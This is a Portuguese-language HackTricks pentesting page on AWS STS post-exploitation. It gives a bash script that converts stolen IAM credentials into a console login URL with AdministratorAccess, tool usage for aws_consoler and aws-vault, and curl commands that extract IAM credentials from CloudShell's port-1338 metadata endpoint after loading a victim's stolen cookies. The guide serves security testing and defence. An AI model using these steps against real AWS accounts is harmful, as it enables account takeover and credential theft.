AWS - STS Post Exploitation

Support HackTricks

STS

Para mais informações:

AWS - IAM, Identity Center & SSO Enum

De IAM Creds para Console

Se você conseguiu obter algumas credenciais IAM, pode estar interessado em acessar o console web usando as seguintes ferramentas. Observe que o usuário/papel deve ter a permissão sts:GetFederationToken.

Script personalizado

O script a seguir usará o perfil padrão e uma localização AWS padrão (não gov e não cn) para fornecer uma URL assinada que você pode usar para fazer login no console web:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)



# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

Você pode gerar um link de console web com https://github.com/NetSPI/aws_consoler.

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

Certifique-se de que o usuário IAM tenha permissão sts:GetFederationToken, ou forneça um papel para assumir.

aws-vault

aws-vault é uma ferramenta para armazenar e acessar credenciais AWS de forma segura em um ambiente de desenvolvimento.

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

Você também pode usar aws-vault para obter uma sessão de console do navegador

Do Console para Credenciais IAM

Originalmente descoberto neste post, se você conseguir comprometer algum acesso a um console web (talvez você tenha roubado cookies e não conseguiu acessar a pasta .aws), você pode obter algumas credenciais de token IAM para esse usuário através do CloudShell.

CloudShell expõe credenciais IAM via um endpoint não documentado na porta 1338. Após carregar os cookies de sessão da vítima no seu navegador, você pode navegar até o CloudShell e emitir os seguintes comandos para obter credenciais IAM.

TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
Suporte HackTricks

Last updated